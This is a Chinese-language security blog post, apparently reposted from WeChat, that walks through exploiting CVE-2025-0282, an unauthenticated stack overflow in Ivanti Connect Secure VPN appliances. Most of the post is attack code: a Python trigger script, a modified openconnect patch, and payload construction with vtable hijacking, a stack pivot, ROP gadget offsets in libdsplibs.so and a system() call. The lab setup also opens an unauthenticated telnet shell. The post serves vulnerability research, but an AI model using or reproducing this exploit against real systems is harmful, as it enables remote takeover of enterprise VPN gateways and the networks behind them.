CVE-2025-0282:Ivanti缓冲区溢出漏洞

admin 2025年5月27日13:38:10评论1 views字数 10944阅读36分28秒阅读模式

一、漏洞背景

1、概述

CVE-2025-0282 是一个影响 Ivanti 企业 VPN 设备的严重漏洞。该漏洞允许未经身份验证的远程攻击者在受影响的设备上执行任意代码,进而可能完全控制目标系统。Ivanti 已确认该漏洞存在。

2、影响范围

Ivanti Connect Secure 22.7R2 - 22.7R2.4

Ivanti Policy Secure 22.7R1 - 22.7R1.2

Ivanti Neurons for ZTA gateways 22.7R2 - 22.7R2.3

二、调试环境搭建

1、获取shell

本次环境版本为:Ivanti Connect Secure 22.7R2.3

Ivanti Connect Secure 22.7R2.3导入虚拟机后开机,按照界面提示设置IP地址,管理员账号和密码等。

在浏览器中使用HTTPS协议打开配置的IP地址,可以正常显示Web登录界面。

CVE-2025-0282:Ivanti缓冲区溢出漏洞

配置成功后,进入命令行界面,可以根据编号进行系统管理,但是无法执行底层Shell命令。根据烽火台实验室的方法,挂起虚拟机,然后替换内存中的字符串获取到shell。

CVE-2025-0282:Ivanti缓冲区溢出漏洞

2、远程管理

为了能够远程管理我们先查看防火墙开通了哪些端口

iptables -L -n
CVE-2025-0282:Ivanti缓冲区溢出漏洞

但是获取的shell是一个嵌入式的bash,很多命令都没有,因此决定上传一个busybox方便操作,环境中刚好有python,决定使用python来进行下载busybox。下载的目录最好在tmp目录下新创建一个目录,其他目录没有写的权限。

import urlliburl = "http://192.168.8.17:8000/busybox"filename = "busybox"urllib.urlretrieve(url, filename)
CVE-2025-0282:Ivanti缓冲区溢出漏洞

有了busybox我们就可以对sh启动一个telnet服务,更方便的操作

./busybox telnetd -l /bin/sh -b 0.0.0.0 -p 8009
CVE-2025-0282:Ivanti缓冲区溢出漏洞
CVE-2025-0282:Ivanti缓冲区溢出漏洞

3、下载文件

刚开始像使用busybox中ftp做文件管理,发现没有权限,因此决定使用python来进行文件管理。

import BaseHTTPServerimport SimpleHTTPServerserver_address = (''11000)Handler = SimpleHTTPServer.SimpleHTTPRequestHandlerhttpd = BaseHTTPServer.HTTPServer(server_address, Handler)print("Starting server on port 11000...")httpd.serve_forever()
CVE-2025-0282:Ivanti缓冲区溢出漏洞
CVE-2025-0282:Ivanti缓冲区溢出漏洞

到这里整体的环境已经差不多了,上传gdbserver就可以进行调试了。

CVE-2025-0282:Ivanti缓冲区溢出漏洞

三、触发漏洞

1、魔改openconnect

根据sinsinology最开始触发漏洞方法,魔改编译openconnect,要编译openconnect首先准备好编译环境

sudo apt install -y     libxml2-dev     zlib1g-dev     openssl     libssl-dev     gnutls-dev     automake     autoconf     pkg-config    libtool    gettext

准备好编译环境之后,我们把openconnect源码下载来。

git clone https://github.com/openconnect/openconnect.git
CVE-2025-0282:Ivanti缓冲区溢出漏洞

下载下来之后安装官方的说法需要一个t vpnc-script](https://gitlab.com/openconnect/vpnc-scripts/raw/master/vpnc-script)

CVE-2025-0282:Ivanti缓冲区溢出漏洞

接下来就是按照sinsinology的方法开始修改pulse.c的代码了,修改如下:

if (bytes[0])

        buf_append(reqbuf, " clientIp=%s", bytes);+ buf_append(reqbuf, " clientCapabilities=%s", bytes);+ for(unsigned int n=0; n<100; n++)+       buf_append(reqbuf, "AAAAAAAAAAAAAAAA");buf_append(reqbuf, "\n%c", 0);ret = send_ift_packet(vpninfo, reqbuf);

CVE-2025-0282:Ivanti缓冲区溢出漏洞

一切准备好之后开始编译,使用以下命令开始编译

./autogen.sh./configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4make
CVE-2025-0282:Ivanti缓冲区溢出漏洞

2、产生崩溃

使用以下命令发送pulse协议的vpn请求,添加参数--dump-http-traffic -vvv查看详细的信息。

./openconnect 192.168.137.105 --protocol=pulse --dump-http-traffic -vvv
CVE-2025-0282:Ivanti缓冲区溢出漏洞

gdbserver开始调试,为了方便使用以下命令调试

./gdbserver13 0.0.0.0:8010 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")
CVE-2025-0282:Ivanti缓冲区溢出漏洞

发送完请求,此时 Ivanti已经发生崩溃

CVE-2025-0282:Ivanti缓冲区溢出漏洞

3、漏洞原理

从数据包可以看出漏洞发生在发送在客户端信息阶段,根据sinsinology文章可以得知漏洞是因为解析clientCapabilities字段的时候回一个拷贝的动作,而拷贝的大小是我们发送的clientCapabilities的大小,但是缓冲区的大小是确定的,因此产生了溢出。

CVE-2025-0282:Ivanti缓冲区溢出漏洞
CVE-2025-0282:Ivanti缓冲区溢出漏洞

其中dest缓冲区的大小为256字节,因此我们clientCapabilities的大小超过256字节就会产生溢出。

CVE-2025-0282:Ivanti缓冲区溢出漏洞

下面我根据openconnect写了一个触发漏洞的脚本,漏洞分析和漏洞利用更加方便一些。

import socketimport sslimport structHOST = "192.168.137.105"PORT = 443VENDOR_TCG = 0x5597IFT_VERSION_REQUEST = 1VENDOR_JUNIPER = 0xa4cIFT_CLIENT_AUTH_RESPONSE = 6def hexdump(data, width=16):    for i in range(0len(data), width):        chunk = data[i:i + width]        hex_part = ' '.join(f'{b:02X}' for b in chunk)        ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)        print(f'{i:08X}{hex_part:<48}{ascii_part}')def make_ift_hdr(vendor, package_type):    hdr_array = [0] * 4    hdr_array[0] = vendor    hdr_array[1] = package_type    hdr_array[2] = 0  # package length    hdr_array[3] = 0  # ID    return hdr_arraydef make_package(hdr_array, package_length, ID, package_data):    package = struct.pack('>I', hdr_array[0])    package += struct.pack('>I', hdr_array[1])    package += struct.pack('>I', package_length)    package += struct.pack('>I', ID)    package += package_data    return packagedef send_package(sock, package):    print("n发送>")    hexdump(package)    sock.sendall(package)    res = sock.recv(4096)    print("n接受<")    hexdump(res)def get_real_local_ip():    try:        # 连接外部地址,不会真正建立连接,但能获取正确的本机 IP        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)        s.connect(("114.114.114.114"80))        ip = s.getsockname()[0]        s.close()        return ip    except Exception as e:        return f"Error: {e}"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(1)context = ssl.create_default_context()context.check_hostname = Falsecontext.verify_mode = ssl.CERT_NONEs = context.wrap_socket(s, server_hostname=HOST)# 开始进行认证s.connect((HOST, PORT))body = "GET / HTTP/1.1rn"body += f"Host: {HOST}:{PORT}rn"body += "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirtyrn"body += "Content-Type: EAPrn"body += "Upgrade: IF-T/TLS 1.0rn"body += "Content-Length: 0rnrn"print("发送>")print(body)s.sendall(body.encode())line = s.recv(4096).decode()print("n接受<")print(line)# IF-T version request.ift_hdr_array = make_ift_hdr(VENDOR_TCG, IFT_VERSION_REQUEST)data = struct.pack('>I'0x00010202)  # Min version 1, max 2, preferred 2package_data = make_package(ift_hdr_array, len(data) + 160, data)send_package(s, package_data)# Client information packet over IF-T/TLSift_hdr_array = make_ift_hdr(VENDOR_JUNIPER, 0x88)data = 'clientHostName=ubuntu 'data += 'clientIp=' + get_real_local_ip()+' 'data += 'clientCapabilities=' + get_real_local_ip() + 'A' * 1600 + 'x0ax00'package_data = make_package(ift_hdr_array, len(data) + 161, data.encode())send_package(s, package_data)# Start by sending an EAP Identity of 'anonymous'ift_hdr_array = make_ift_hdr(VENDOR_TCG, IFT_CLIENT_AUTH_RESPONSE)data = b'x00x0ax4cx01'  # JUNIPER_1data += b'x02'  # EAP_RESPONSEdata += b'x01'  # identdata += b'x00'  # EAP_TYPE_IDENTITYdata += b'x0ex01'data += b'anonymous'package_data = make_package(ift_hdr_array, len(data) + 162, data)send_package(s, package_data)

四、利用漏洞

从漏洞原理上来看这是一个栈溢出,因此我们可能会觉得此漏洞会比较好利用,但是在实际过程中还是会有很多问题。

1、free导致崩溃

栈的布局如下,其中dest是我们要拷贝的缓冲区,缓冲区之后就是一个对象指针,覆盖这个对象指针就是我们上文导致崩溃的原因,后面代码中会释放对象object_to_be_freed,当覆盖为0x41414141的时候会导致无效指针释放。

+---------------------+| v18 (int)           |+---------------------+| v19 (int)           |+---------------------+| dest[256]           | <- 256 bytes+---------------------+| object_to_be_freed  | <- 4 bytes+---------------------+| ptr (void *)        |+---------------------+| v20 (int)           |+---------------------+| v21 (int)           |+---------------------+| v22 (int)           |+---------------------+| v23 (char)          |+---------------------+| v24 (char)          |+---------------------+| v25 (void *)        |+---------------------+| v26[499]            | <- 499 DWORDs (4 bytes each)+---------------------+| Return Address      |+---------------------+| int a1              |+---------------------+| IftTlsHeader *a2    |+---------------------+
CVE-2025-0282:Ivanti缓冲区溢出漏洞

因此从理论上讲我们想要覆盖返回地址,必须给object_to_be_freed提供一个有效的地址。

2、虚表调用

object_to_be_freed提供一个有效的地址无疑是非常困难的,但是山无绝人之路,柳暗花明又一村,在释放对象之前有一个C++对象的方法调用。

CVE-2025-0282:Ivanti缓冲区溢出漏洞
(*(void(__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 72))(a1, &v57);isValid = 1;EPMessage::~EPMessage((EPMessage *)v56);DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)v61);return isValid;

a1变量是一个this指针,并且this指针存储在栈上,具体栈布局如下,因此我们只需要一个二级指针覆盖this指针就能劫持控制流了。

从dest缓冲区开始覆盖到this指针的位置需要2288字节,使用A进行填充。

data = 'clientHostName=ubuntu 'data += 'clientIp=' + get_real_local_ip() + ' 'data += 'clientCapabilities='data += get_real_local_ip().ljust(2288'A')
+---------------------+| v18 (int)           |+---------------------+| v19 (int)           |+---------------------+| dest[256]           | <- 256 bytes+---------------------+| object_to_be_freed  | <- 4 bytes+---------------------+| ptr (void *)        |+---------------------+| v20 (int)           |+---------------------+| v21 (int)           |+---------------------+| v22 (int)           |+---------------------+| v23 (char)          |+---------------------+| v24 (char)          |+---------------------+| v25 (void *)        |+---------------------+| v26[499]            | <- 499 DWORDs (4 bytes each)+---------------------+| Return Address      |+---------------------+| int a1              | <- this*+---------------------+| IftTlsHeader *a2    |+---------------------+

3、劫持控制流

有了方向之后我们就是构造一个三级指针来覆盖this指针,三级指针的具体构造如下

Memory Layout:+--------------------------+| *fake_this Pointer       |+--------------------------+       |       v+--------------------------+| fake_vtable Address      | <- Points to the vtable+--------------------------+       |       v+--------------------------+| fake vtable              |+--------------------------+| *gadget_0[0x48]          | <- Points to a sequence of x86 instructions+--------------------------+       |       v+--------------------------+| gadget_0[0x48]           |+--------------------------+=                          | <- Return to caller+--------------------------+

有了理论我们先进行测试一下,从下方调试的过程可以看到我们的计划成功了。

ift_hdr_array = make_ift_hdr(VENDOR_JUNIPER, 0x88)fake_this = 'B' * 4data = 'clientHostName=ubuntu 'data += 'clientIp=' + get_real_local_ip() + ' 'data += 'clientCapabilities='data += get_real_local_ip().ljust(2288'A') + fake_this
CVE-2025-0282:Ivanti缓冲区溢出漏洞

在ROP之前我们还有做一件事情,那就是抬栈,此时距离我们布局的内存还有一段距离,因此我们要找一个抬栈的指令,根据watchtowrSwing的做法在libdsplibs.so会找到一段合适的指令。

.text:0093849C BB F0 FF FF FF                    mov     ebx, 0FFFFFFF0h.text:009384A1                   .text:009384A1                   loc_9384A1:                             .text:009384A1                                                           .text:009384A1 81 C4 4C 20 00 00                 add     esp, 204Ch.text:009384A7 89 D8                             mov     eax, ebx.text:009384A9 5B                                pop     ebx.text:009384AA 5E                                pop     esi.text:009384AB 5F                                pop     edi.text:009384AC 5D                                pop     ebp.text:009384AD C3                                retn

有了合适的指令之后我们开始构造this指针,从以上的信息我可以得知gadget要放在虚表偏移十八的位置,因此我用以下方式构造

base + 0x934367 => base + 0x11D88F8 + 0x48  => base + 0x93849C
libdsplibs_base = 0xf64ce000fake_this_address_va = 0x934367fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)data = data.encode() + fake_this
CVE-2025-0282:Ivanti缓冲区溢出漏洞

有了这些基础接下来我们要确定我们gadget链的地址,用cyclic生成5000字符发送过去。

CVE-2025-0282:Ivanti缓冲区溢出漏洞
libdsplibs_base = 0xf64ce000fake_this_address_va = 0x934367fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)data = data.encode() + fake_this + b'aaaabaaaca.......'

通过以上的方法可以看到程序在0x6462616f位置崩溃,由此得出在偏移2950写gadget。

CVE-2025-0282:Ivanti缓冲区溢出漏洞
CVE-2025-0282:Ivanti缓冲区溢出漏洞

发送以下包得到了确认

libdsplibs_base = 0xf64ce000fake_this_address_va = 0x934367fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)data = data.encode() + fake_this + b'B' * 2950 + b'C' * 4
CVE-2025-0282:Ivanti缓冲区溢出漏洞

4、ROP时间

libdsplibs.so中刚好有system调用,因此直接在libdsplibs.so寻找gadget。

为了把命令字符串放到栈顶我们采用以下方法和命令,其中QWERTYUIOPASDFGH代表要执行的命令。

0x00842264 : mov ecx, esp ; ret0x007e3624 : add ecx, -0x78 ; ret0x007ac375 : xchg eax, ecx ; ret
fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)gadget = struct.pack('<I', libdsplibs_base + 0x00842264)  # mov ecx, esp ; retgadget += struct.pack('<I', libdsplibs_base + 0x007e3624)  # add ecx, -0x78 ; retgadget += struct.pack('<I', libdsplibs_base + 0x007ac375)  # xchg eax, ecx ; retdata = data.encode() + fake_this + b'B' * 2834 + b'QWERTYUIOPASDFGH' + b'C' * 100 + gadget

最后随便找到一个调用system命令的地址即可,我使用以下地址

.text:004F10E4 89 04 24           mov     [esp], eax      ; command.text:004F10E7 E8 C4 7F F0 FF     call    _system
fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)gadget = struct.pack('<I', libdsplibs_base + 0x00842264)  # mov ecx, esp ; retgadget += struct.pack('<I', libdsplibs_base + 0x007e3624)  # add ecx, -0x78 ; retgadget += struct.pack('<I', libdsplibs_base + 0x007ac375)  # xchg eax, ecx ; retgadget += struct.pack('<I', libdsplibs_base + 0x004F10E4)  # mov     [esp], eax ; call    _systemdata = data.encode() + fake_this + b'B' * 2834 + b'QWERTYUIOPASDFGH' + b'C' * 100 + gadget

以下是最终的执行效果图

CVE-2025-0282:Ivanti缓冲区溢出漏洞

**注意:**最后此漏洞想要利用的必须要爆破libdsplibs.so的基址,还有就是命令中不能带有空格。

参考链接:

https://mp.weixin.qq.com/s/e6X7GcKq1DaipmfsRqNq2w

https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/

https://www.infradead.org/openconnect/building.html

https://bestwing.me/CVE-2025-0282-Ivanti-Connect-Secure-VPN-stack-overflow.html#fn:2

原文始发于微信公众号(北银京卫军):CVE-2025-0282:Ivanti缓冲区溢出漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月27日13:38:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-0282:Ivanti缓冲区溢出漏洞https://cn-sec.com/archives/3999503.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息